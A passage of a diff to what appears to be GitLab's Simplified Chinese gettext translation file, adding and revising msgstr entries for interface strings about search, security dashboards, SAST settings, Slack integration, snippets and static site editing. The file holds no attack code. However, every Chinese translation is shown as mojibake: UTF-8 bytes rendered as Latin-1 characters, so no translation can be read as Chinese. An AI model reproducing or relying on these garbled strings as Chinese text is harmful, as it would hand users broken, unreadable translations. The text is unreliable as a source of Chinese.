msgstr "æœç´¢åˆ†æ”¯å’Œæ ‡ç­¾"
-msgid "Search by Git revision"
+msgid "Search branches, tags, and commits"
msgstr ""
+msgid "Search by Git revision"
+msgstr "使用Git版本æœç´¢"
+
msgid "Search by author"
msgstr "按作者æœç´¢"
msgid "Search by commit title or SHA"
-msgstr ""
+msgstr "通过æ交标题或SHAæœç´¢"
msgid "Search by message"
-msgstr ""
+msgstr "按消æ¯æœç´¢"
msgid "Search by name"
-msgstr ""
+msgstr "按å称æœç´¢"
msgid "Search files"
msgstr "æœç´¢æ–‡ä»¶"
msgid "Search for Namespace"
-msgstr ""
+msgstr "æœç´¢å‘½å空间"
msgid "Search for a LDAP group"
msgstr "æœç´¢LDAP组"
@@ -21010,7 +21600,7 @@ msgid "Search requirements"
msgstr "æœç´¢éœ€æ±‚"
msgid "Search results…"
-msgstr ""
+msgstr "æœç´¢ç»“果…"
msgid "Search users"
msgstr "æœç´¢ç”¨æˆ·"
@@ -21127,6 +21717,9 @@ msgstr "许å¯è¯ç”¨æˆ·æ•°é‡"
msgid "Secondary"
msgstr "次è¦"
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "密ç "
@@ -21154,38 +21747,65 @@ msgstr "安全报告已过时。请使用目标分支(%{targetBranchName})中的
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr "安全报告已过时。请在目标分支(%{targetBranchName})上è¿è¡Œ%{newPipelineLinkStart}æ–°çš„æµæ°´çº¿%{newPipelineLinkEnd}"
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
+msgstr "创建åˆå¹¶è¯·æ±‚时出错。"
+
+msgid "SecurityConfiguration|Available for on-demand DAST"
msgstr ""
msgid "SecurityConfiguration|Configure"
+msgstr "é…ç½®"
+
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Create Merge Request"
msgstr ""
-msgid "SecurityConfiguration|Enable via Merge Request"
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr ""
+msgid "SecurityConfiguration|Enable"
+msgstr ""
+
+msgid "SecurityConfiguration|Enable via Merge Request"
+msgstr "通过åˆå¹¶è¯·æ±‚å¯ç”¨"
+
msgid "SecurityConfiguration|Enabled"
msgstr "å¯ç”¨"
msgid "SecurityConfiguration|Enabled with Auto DevOps"
-msgstr ""
+msgstr "已通过Auto DevOpså¯ç”¨"
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr "%{featureName}的功能文档"
msgid "SecurityConfiguration|Manage"
-msgstr ""
+msgstr "管ç†"
msgid "SecurityConfiguration|Not enabled"
+msgstr "未å¯ç”¨"
+
+msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
msgid "SecurityConfiguration|Security Control"
msgstr "安全控制"
msgid "SecurityConfiguration|See documentation"
-msgstr ""
+msgstr "查看文档"
msgid "SecurityConfiguration|Status"
msgstr "状æ€"
@@ -21194,10 +21814,10 @@ msgid "SecurityConfiguration|Testing & Compliance"
msgstr "测试与åˆè§„"
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
-msgstr ""
+msgstr "使用自定义设置。您ä¸ä¼šæ”¶åˆ°æ­¤å˜é‡çš„自动更新。 %{anchorStart}还原到默认%{anchorEnd}"
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
-msgstr ""
+msgstr "您å¯ä»¥é€šè¿‡å¯ç”¨%{linkStart}Auto DevOps%{linkEnd}æ¥å¿«é€Ÿå¯ç”¨æ‰€æœ‰å®‰å…¨æ‰«æ工具。"
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject}和%{secondProject}"
@@ -21208,14 +21828,14 @@ msgstr "%{firstProject},%{secondProject},åŠ%{rest}"
msgid "SecurityReports|Add a project to your dashboard"
msgstr "添加一个项目到仪表æ¿"
-msgid "SecurityReports|Add or remove projects from your dashboard"
-msgstr "å‘仪表æ¿ä¸­æ·»åŠ æˆ–删除项目"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
+msgstr ""
msgid "SecurityReports|Add projects"
msgstr "添加项目"
msgid "SecurityReports|Add projects to your group"
-msgstr ""
+msgstr "添加项目到您的群组"
msgid "SecurityReports|Comment added to '%{vulnerabilityName}'"
msgstr "评论已添加到'%{vulnerabilityName}'"
@@ -21242,17 +21862,14 @@ msgid "SecurityReports|Dismissed '%{vulnerabilityName}'. Turn off the hide dismi
msgstr "已忽略'%{vulnerabilityName}'。请关闭éšè—忽略开关以查看。"
msgid "SecurityReports|Download Report"
-msgstr ""
-
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr "现在æ¯ä¸ªæ¼æ´žéƒ½æœ‰ä¸€ä¸ªå”¯ä¸€çš„页é¢ï¼Œè¯¥é¡µé¢å¯ä»¥ä½œä¸ºå”¯ä¸€æ•°æ®æºï¼Œè¢«ç›´æŽ¥é“¾æŽ¥ï¼Œå…±äº«ï¼Œå¼•ç”¨å’Œè·Ÿè¸ªã€‚多次扫æ中报告的æ¼æ´žä¹Ÿå°†ä¼šè¢«ä¿å­˜ï¼Œä»Žè€Œæ”¹å–„了跟踪和å¯è§æ€§ï¼Œå¹¶å‡å°‘了两次扫æ之间的é‡å¤ã€‚"
-
-msgid "SecurityReports|Edit dashboard"
-msgstr "编辑仪表æ¿"
+msgstr "下载报告"
msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr "您无æƒæŸ¥çœ‹æ­¤ä»ªè¡¨æ¿æˆ–尚未设置仪表æ¿ã€‚请å‘管ç†å‘˜æŸ¥è¯¢æ‚¨çš„æƒé™è®¾ç½®ï¼Œæˆ–检查仪表æ¿é…置以继续。"
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
+msgstr ""
+
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
msgstr "获å–æ¼æ´žæ•°é‡æ—¶å‡ºé”™ã€‚请检查您的网络连接,然åŽé‡è¯•ã€‚"
@@ -21263,21 +21880,15 @@ msgid "SecurityReports|False positive"
msgstr "误报"
msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
-msgid "SecurityReports|Group Security Dashboard"
-msgstr "群组安全仪表æ¿"
+msgstr "Fuzzing产物"
msgid "SecurityReports|Hide dismissed"
msgstr "éšè—已忽略项"
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr "引入独立安全æ¼æ´ž"
-
msgid "SecurityReports|Issue Created"
msgstr "已创建议题"
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr "加载更多æ¼æ´ž"
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr "监控代ç ä¸­çš„æ¼æ´ž"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr "更多信æ¯"
@@ -21296,7 +21910,7 @@ msgid "SecurityReports|More information"
msgstr "更多信æ¯"
msgid "SecurityReports|No vulnerabilities found"
-msgstr ""
+msgstr "未å‘现æ¼æ´ž"
msgid "SecurityReports|No vulnerabilities found for this pipeline"
msgstr "æ­¤æµæ°´çº¿ä¸­æœªå‘现æ¼æ´ž"
@@ -21307,20 +21921,20 @@ msgstr "哎呀,看起æ¥ä¸æ­£ç¡®ã€‚"
msgid "SecurityReports|Project"
msgstr "项目"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "SecurityReports|Projects added"
msgstr "项目已添加"
msgid "SecurityReports|Remove project from dashboard"
msgstr "从仪表æ¿åˆ é™¤é¡¹ç›®"
-msgid "SecurityReports|Return to dashboard"
-msgstr "返回仪表æ¿"
-
msgid "SecurityReports|Scan details"
msgstr "扫æ详情"
msgid "SecurityReports|Scanner"
-msgstr ""
+msgstr "扫æ工具"
msgid "SecurityReports|Security Dashboard"
msgstr "安全仪表æ¿"
@@ -21338,7 +21952,7 @@ msgid "SecurityReports|Severity"
msgstr "严é‡ç¨‹åº¦"
msgid "SecurityReports|Sorry, your filter produced no results"
-msgstr ""
+msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆè¿‡æ»¤å™¨çš„任何结果"
msgid "SecurityReports|Status"
msgstr "状æ€"
@@ -21347,7 +21961,7 @@ msgid "SecurityReports|The rating \"unknown\" indicates that the underlying scan
msgstr "级别“未知â€è¡¨ç¤ºåŸºç¡€æ‰«æ工具ä¸åŒ…å«å½’类或归类为严é‡çº§åˆ«ã€‚"
msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
+msgstr "安全仪表æ¿æ˜¾ç¤ºæ‚¨è¦ç›‘测项目的最新安全扫æ结果。将项目添加到群组中åŽå¯äºŽæ­¤å¤„æ¥æŸ¥çœ‹å…¶ä¸­çš„安全æ¼æ´žã€‚"
msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
msgstr "安全é¢æ¿æ˜¾ç¤ºæ‚¨è¦ç›‘测项目的最新安全扫æ结果。选择“编辑仪表æ¿â€æ¥æ·»åŠ å¹¶ç§»é™¤é¡¹ç›®ã€‚"
@@ -21383,10 +21997,10 @@ msgid "SecurityReports|There was an error while generating the report."
msgstr "生æˆæŠ¥å‘Šæ—¶å‡ºé”™ã€‚"
msgid "SecurityReports|To widen your search, change or remove filters above"
-msgstr ""
+msgstr "è¦æ‰©å¤§æœç´¢èŒƒå›´ï¼Œè¯·æ›´æ”¹æˆ–删除上é¢çš„过滤器。"
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
-msgstr "无法添加%{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
+msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
msgstr "无法添加%{invalidProjects}"
@@ -21394,11 +22008,14 @@ msgstr "无法添加%{invalidProjects}"
msgid "SecurityReports|Undo dismiss"
msgstr "å–消忽略"
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr "虽然您的æµæ°´çº¿ä¸­æ²¡æœ‰æ¼æ´žï¼Œè¿™ç§çŽ°è±¡å¾ˆç½•è§ï¼Œä½†ä¹Ÿæ˜¯æœ‰å¯èƒ½çš„。无论如何,建议您仔细检查设置以确ä¿ä»ªè¡¨æ¿çš„é…置正确。"
msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
+msgstr "虽然没有å‘现æ¼æ´žï¼Œè¿™ç§çŽ°è±¡å¾ˆç½•è§ï¼Œä½†ä¹Ÿæ˜¯æœ‰å¯èƒ½çš„。无论如何,建议您仔细检查设置以确ä¿ä»ªè¡¨æ¿çš„é…置正确。"
msgid "SecurityReports|Won't fix / Accept risk"
msgstr "ä¸ä¿®å¤/接å—风险"
@@ -21424,9 +22041,6 @@ msgstr "查看 GitLab 管ç†é¢æ¿ä¸­çš„å—å½±å“项目"
msgid "See what's new at GitLab"
msgstr "查看GitLab的新功能"
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "选择"
@@ -21500,7 +22114,7 @@ msgid "Select due date"
msgstr "设置截止日期"
msgid "Select epic"
-msgstr ""
+msgstr "选择å²è¯—"
msgid "Select file"
msgstr "选择文件"
@@ -21515,7 +22129,7 @@ msgid "Select health status"
msgstr "选择å¥åº·çŠ¶å†µ"
msgid "Select label"
-msgstr ""
+msgstr "选择标记"
msgid "Select labels"
msgstr "选择标记"
@@ -21550,6 +22164,9 @@ msgstr "选择所需的法规标准"
msgid "Select shards to replicate"
msgstr "选择è¦å¤åˆ¶çš„分片"
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "选择æºåˆ†æ”¯"
@@ -21578,19 +22195,22 @@ msgid "Select timeframe"
msgstr "选择时间范围"
msgid "Select timezone"
+msgstr "选择时区"
+
+msgid "Select type"
msgstr ""
msgid "Select user"
msgstr "选择用户"
msgid "Selected commits"
-msgstr ""
+msgstr "选定的æ交"
msgid "Selected levels cannot be used by non-admin users for groups, projects or snippets. If the public level is restricted, user profiles are only visible to logged in users."
msgstr "éžç®¡ç†å‘˜ç”¨æˆ·æ— æ³•ä¸ºç¾¤ç»„ã€é¡¹ç›®æˆ–代ç ç‰‡æ®µä½¿ç”¨æ‰€é€‰çº§åˆ«ã€‚如果公共级别å—到é™åˆ¶ï¼Œåˆ™ç”¨æˆ·é…置文件仅对登录用户å¯è§ã€‚"
msgid "Selecting a GitLab user will add a link to the GitLab user in the descriptions of issues and comments (e.g. \"By %{link_open}@johnsmith%{link_close}\"). It will also associate and/or assign these issues and comments with the selected user."
-msgstr ""
+msgstr "选择GitLab用户将在议题和评论的æ述中加入指å‘该GitLab用户的链接(例如“由%{link_open}@johnsmith%{link_close}â€)。它还将与所选用户关è”å’Œ/或分é…这些议题和评论。"
msgid "Selective synchronization"
msgstr "选择性åŒæ­¥"
@@ -21728,7 +22348,7 @@ msgid "Serverless|If you believe none of these apply, please check back later as
msgstr "如果您认为这些都ä¸é€‚用,请ç¨åŽå†æŸ¥çœ‹ï¼Œå› ä¸ºåŠŸèƒ½æ•°æ®å¯èƒ½æ­£åœ¨å˜ä¸ºå¯ç”¨ã€‚"
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
-msgstr ""
+msgstr "è¦å¼€å§‹ä½¿ç”¨åŠŸèƒ½å³æœåŠ¡ï¼Œå¿…须先在Kubernetes群集上安装Knative。%{linkStart}更多信æ¯%{linkEnd}"
msgid "Serverless|Install Knative"
msgstr "安装Knative"
@@ -21769,6 +22389,12 @@ msgstr "æœåŠ¡å°"
msgid "Service Desk is enabled but not yet active"
msgstr "æœåŠ¡å°å·²å¯ç”¨ä½†å°šæœªæ¿€æ´»"
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "æœåŠ¡æ¨¡æ¿"
@@ -21781,6 +22407,12 @@ msgstr "会è¯æŒç»­æ—¶é—´(分钟)"
msgid "Set %{epic_ref} as the parent epic."
msgstr "å°†%{epic_ref}设置为父å²è¯—。"
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "设置议题æ述的默认模æ¿ã€‚"
@@ -21791,7 +22423,7 @@ msgid "Set a password on your account to pull or push via %{protocol}."
msgstr "为账å·åˆ›å»ºä¸€ä¸ªç”¨äºŽæŽ¨é€æˆ–拉å–çš„ %{protocol} 密ç ã€‚"
msgid "Set a template repository for projects in this group"
-msgstr "为该群组中的项目设置模æ¿ä»“库"
+msgstr "为该群组中的项目设置文件模æ¿ä»“库"
msgid "Set an instance-wide domain that will be available to all clusters when installing Knative."
msgstr "设置实例级别的域,å¯ç”¨äºŽæ‰€æœ‰é›†ç¾¤å®‰è£…Knative。"
@@ -21836,16 +22468,16 @@ msgid "Set target branch to %{branch_name}."
msgstr "设置目标分支为%{branch_name}。"
msgid "Set the default expiration time for each job's artifacts. 0 for unlimited. The default unit is in seconds, but you can define an alternative. For example: %{code_open}4 mins 2 sec%{code_close}, %{code_open}2h42min%{code_close}."
-msgstr ""
+msgstr "设置æ¯ä¸ªä½œä¸šçš„产物的默认到期时间。 0 表示无é™åˆ¶ã€‚默认以秒为å•ä½ï¼Œä½†æ‚¨å¯ä»¥å®šä¹‰æ›¿ä»£æ–¹æ¡ˆã€‚例如:%{code_open}4 mins 2 sec%{code_close}, %{code_open}2h42min%{code_close}。"
msgid "Set the default name of the initial branch when creating new repositories through the user interface."
-msgstr ""
+msgstr "设置åˆå§‹åˆ†æ”¯çš„默认å称,用于通过用户界é¢åˆ›å»ºæ–°ä»“库。"
msgid "Set the due date to %{due_date}."
msgstr "设置到期日期为%{due_date}。"
msgid "Set the duration for which the jobs will be considered as old and expired. Once that time passes, the jobs will be archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: %{code_open}15 days%{code_close}, %{code_open}1 month%{code_close}, %{code_open}2 years%{code_close}."
-msgstr ""
+msgstr "设置作业的过期时间。一旦逾期,作业将被归档并且ä¸èƒ½é‡è¯•ã€‚留空则永ä¸è¿‡æœŸã€‚必须设置为1天以上,例如:%{code_open}15 days%{code_close}, %{code_open}1 month%{code_close}, %{code_open}2 years%{code_close}。"
msgid "Set the iteration to %{iteration_reference}."
msgstr "将迭代设置为%{iteration_reference}。"
@@ -21968,7 +22600,7 @@ msgid "Settings to prevent self-approval across all projects in the instance. On
msgstr "设置实例中所有项目的ç¦æ­¢è‡ªæˆ‘批准。仅管ç†å‘˜å¯ä»¥ä¿®æ”¹è¿™äº›è®¾ç½®ã€‚"
msgid "Setup"
-msgstr ""
+msgstr "设置"
msgid "Severity"
msgstr "严é‡ç¨‹åº¦"
@@ -21983,7 +22615,7 @@ msgid "Share"
msgstr "分享"
msgid "Share the %{strong_open}GitLab single sign-on URL%{strong_close} with members so they can sign in to your group through your identity provider"
-msgstr ""
+msgstr "分享%{strong_open}GitLabå•ç‚¹ç™»å½•ç½‘å€%{strong_close}给群组æˆå‘˜ï¼Œä»¥ä¾¿ä»–们å¯ä»¥é€šè¿‡æ‚¨çš„身份æ供商登录您的群组"
msgid "Shared Runners"
msgstr "共享Runner"
@@ -22095,21 +22727,21 @@ msgstr "显示%{total_count}个议题中的%{limit}项. "
msgid "Showing %{pageSize} of %{total} issues"
msgstr "显示%{total}议题中的%{pageSize}项"
-msgid "Showing Latest Version"
-msgstr "显示最新版本"
-
-msgid "Showing Version #%{versionNumber}"
-msgstr "显示版本#%{versionNumber}"
-
msgid "Showing all issues"
msgstr "显示所有议题"
msgid "Showing graphs based on events of the last %{timerange} days."
-msgstr ""
+msgstr "显示基于最近%{timerange}天的事件的图表。"
msgid "Showing last %{size} of log -"
msgstr "显示日志的最åŽ%{size} -"
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr "并排"
@@ -22186,7 +22818,7 @@ msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "用户å太长(最大为%{max_length}字符)。"
msgid "SignUp|Username is too short (minimum is %{min_length} characters)."
-msgstr ""
+msgstr "用户å太短(最短为%{min_length}字符)。"
msgid "Signed in"
msgstr "已登录"
@@ -22203,6 +22835,9 @@ msgstr "没有预先存在的GitLabå¸æˆ·çš„情况下无法使用您的%{label}å
msgid "Similar issues"
msgstr "相似议题"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr "å•ä¸ªæˆ–组åˆæŸ¥è¯¢"
@@ -22234,25 +22869,25 @@ msgid "Slack integration allows you to interact with GitLab via slash commands i
msgstr "Slack集æˆå…许您通过èŠå¤©çª—å£ä¸­çš„shash命令与GitLab交互。"
msgid "SlackIntegration|%{strong_open}Note:%{strong_close} Usernames and private channels are not supported."
-msgstr ""
+msgstr "%{strong_open}注æ„:%{strong_close}ä¸æ”¯æŒç”¨æˆ·åå’Œç§æœ‰é¢‘é“。"
msgid "SlackIntegration|%{webhooks_link_start}Add an incoming webhook%{webhooks_link_end} in your Slack team. The default channel can be overridden for each event."
msgstr "在您的Slack团队中%{webhooks_link_start}添加一个接收的webhook%{webhooks_link_end} 。æ¯ä¸ªäº‹ä»¶éƒ½å¯ä»¥ä¿®æ”¹é»˜è®¤é¢‘é“。"
msgid "SlackIntegration|Paste the %{strong_open}Webhook URL%{strong_close} into the field below."
-msgstr ""
+msgstr "å°†%{strong_open}Webhook URL%{strong_close}粘贴到下é¢çš„字段中。"
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
-msgstr ""
+msgstr "选择以下事件以å¯ç”¨é€šçŸ¥ã€‚ %{strong_open}Slack频é“å称%{strong_close}å’Œ%{strong_open}Slack用户å%{strong_close}字段是å¯é€‰çš„。"
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
-msgstr "æ­¤æœåŠ¡å°†é¡¹ç›®äº‹ä»¶çš„通知å‘é€åˆ°Slack频é“。è¦è®¾ç½®æ­¤æœåŠ¡ï¼š"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
+msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
-msgstr ""
+msgstr "2. å°†%{strong_open}Token%{strong_close}粘贴到下é¢çš„字段中"
msgid "SlackService|3. Select the %{strong_open}Active%{strong_close} checkbox, press %{strong_open}Save changes%{strong_close} and start using GitLab inside Slack!"
-msgstr ""
+msgstr "3. 选择%{strong_open}å¯ç”¨%{strong_close}å¤é€‰æ¡†ï¼Œç‚¹å‡»%{strong_open}ä¿å­˜æ›´æ”¹%{strong_close}åŽå¼€å§‹åœ¨Slack中使用GitLabï¼"
msgid "SlackService|Fill in the word that works best for your team."
msgstr "填写最适åˆä½ çš„团队的文字。"
@@ -22296,12 +22931,21 @@ msgstr "存储〠分享和嵌入å°æ®µä»£ç å’Œæ–‡æœ¬ã€‚"
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "没有è¦æ˜¾ç¤ºçš„代ç ç‰‡æ®µã€‚"
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr "æè¿° (å¯é€‰)"
msgid "Snippets|File"
msgstr "文件"
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr "给文件命å以å¯ç”¨ä»£ç é«˜äº®ï¼Œä¾‹å¦‚Ruby文件example.rb"
@@ -22359,6 +23003,9 @@ msgstr "试图改å˜è¿™ä¸ªè®®é¢˜çš„ç§å¯†æ€§æ—¶å‡ºçŽ°é”™è¯¯"
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "è¯•å›¾æ”¹å˜ %{issuableDisplayName} çš„é”定状æ€æ—¶å‡ºé”™äº†"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "点击按钮时出错"
@@ -22441,7 +23088,7 @@ msgid "Something went wrong while initializing the OpenAPI viewer"
msgstr "åˆå§‹åŒ–OpenAPI查看器时出错"
msgid "Something went wrong while inserting your image. Please try again."
-msgstr ""
+msgstr "æ’入图åƒæ—¶å‡ºäº†é”™ã€‚请é‡è¯•ã€‚"
msgid "Something went wrong while merging this merge request. Please try again."
msgstr "åˆå¹¶æ­¤åˆå¹¶è¯·æ±‚时出错。请é‡è¯•ã€‚"
@@ -22488,12 +23135,12 @@ msgstr "å°†%{project} 添加到仪表æ¿æ—¶å‡ºé”™"
msgid "Something went wrong, unable to add projects to dashboard"
msgstr "出错了,无法将项目添加到仪表æ¿"
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
msgid "Something went wrong, unable to get projects"
msgstr "出现了错误,无法获å–项目"
-msgid "Something went wrong, unable to remove project"
-msgstr "删除项目时出错"
-
msgid "Something went wrong, unable to search projects"
msgstr "出错了,无法æœç´¢é¡¹ç›®"
@@ -22759,7 +23406,7 @@ msgid "Specify the following URL during the Runner setup:"
msgstr "在 Runner 设置时指定以下 URL:"
msgid "Speed up your DevOps%{br_tag}with GitLab"
-msgstr ""
+msgstr "使用GitLab%{br_tag}加速DevOps"
msgid "Squash commit message"
msgstr "压缩æ交消æ¯"
@@ -22915,19 +23562,19 @@ msgid "State your message to activate"
msgstr "输入消æ¯ä»¥å¯ç”¨"
msgid "State: %{last_reindexing_task_state}"
-msgstr ""
+msgstr "状æ€: %{last_reindexing_task_state}"
msgid "Static Application Security Testing (SAST)"
msgstr "é™æ€åº”用程åºå®‰å…¨æµ‹è¯•(SAST)"
msgid "StaticSiteEditor|1. Add a clear title to describe the change."
-msgstr ""
+msgstr "1. 添加清晰的标题æ¥æè¿°å˜æ›´ã€‚"
msgid "StaticSiteEditor|2. Add a description to explain why the change is being made."
-msgstr ""
+msgstr "2. 添加æè¿°æ¥è§£é‡Šå˜æ›´çš„原因。"
msgid "StaticSiteEditor|3. Assign a person to review and accept the merge request."
-msgstr ""
+msgstr "3. 指派用户审核并接å—åˆå¹¶è¯·æ±‚。"
msgid "StaticSiteEditor|An error occurred while submitting your changes."
msgstr "æ交更改时å‘生错误。"
@@ -22954,7 +23601,7 @@ msgid "StaticSiteEditor|The Static Site Editor is currently configured to only e
msgstr "é™æ€ç«™ç‚¹ç¼–辑器当å‰é…置为仅å¯ç¼–辑由Middleman生æˆçš„页é¢ä¸Šçš„Markdown内容。请访问文档以了解有关é…置站点以使用é™æ€ç«™ç‚¹ç¼–辑器的更多信æ¯ã€‚"
msgid "StaticSiteEditor|To see your changes live you will need to do the following things:"
-msgstr ""
+msgstr "è¦çœ‹åˆ°æ‚¨çš„å˜æ›´ä¸Šçº¿ï¼Œæ‚¨éœ€è¦åšä»¥ä¸‹äº‹æƒ…:"
msgid "StaticSiteEditor|Update %{sourcePath} file"
msgstr "更新%{sourcePath}文件"
@@ -22963,7 +23610,7 @@ msgid "StaticSiteEditor|View documentation"
msgstr "查看文档"
msgid "StaticSiteEditor|Your merge request has been created"
-msgstr ""
+msgstr "您的åˆå¹¶è¯·æ±‚已创建"
msgid "Statistics"
msgstr "统计"
@@ -23086,7 +23733,7 @@ msgid "Subkeys"
msgstr "å­å¯†é’¥"
msgid "Submit"
-msgstr ""
+msgstr "æ交"
msgid "Submit %{humanized_resource_name}"
msgstr "æ交%{humanized_resource_name}"
@@ -23388,6 +24035,9 @@ msgstr "切æ¢åˆ°GitLab 预览版"
msgid "Switch to the source to copy the file contents"
msgstr "切æ¢åˆ°æºæ¨¡å¼ä»¥å¤åˆ¶æ–‡ä»¶å†…容"
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "åŒæ­¥ä¿¡æ¯"
@@ -23404,7 +24054,7 @@ msgid "System Hooks"
msgstr "系统钩å­"
msgid "System Hooks Help"
-msgstr ""
+msgstr "系统钩å­å¸®åŠ©"
msgid "System Info"
msgstr "系统信æ¯"
@@ -23436,6 +24086,9 @@ msgstr "标签列表:"
msgid "Tag name"
msgstr "标签å称"
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr "为此æ交打标签。"
@@ -23448,6 +24101,9 @@ msgstr "将此æ交标记为%{tag_name}。"
msgid "Tags"
msgstr "标签"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "标签动æ€"
@@ -23542,7 +24198,7 @@ msgid "Target-Branch"
msgstr "目标分支"
msgid "Task ID: %{elastic_task}"
-msgstr ""
+msgstr "任务ID: %{elastic_task}"
msgid "Team"
msgstr "团队"
@@ -23569,19 +24225,19 @@ msgid "Templates"
msgstr "模æ¿"
msgid "TemporaryStorageIncrease|can only be set once"
-msgstr ""
+msgstr "åªèƒ½è®¾ç½®ä¸€æ¬¡"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
-msgstr ""
+msgstr "åªèƒ½è®¾ç½®ä¸ºå¤§äºŽ%{percentage}%%使用é‡"
msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
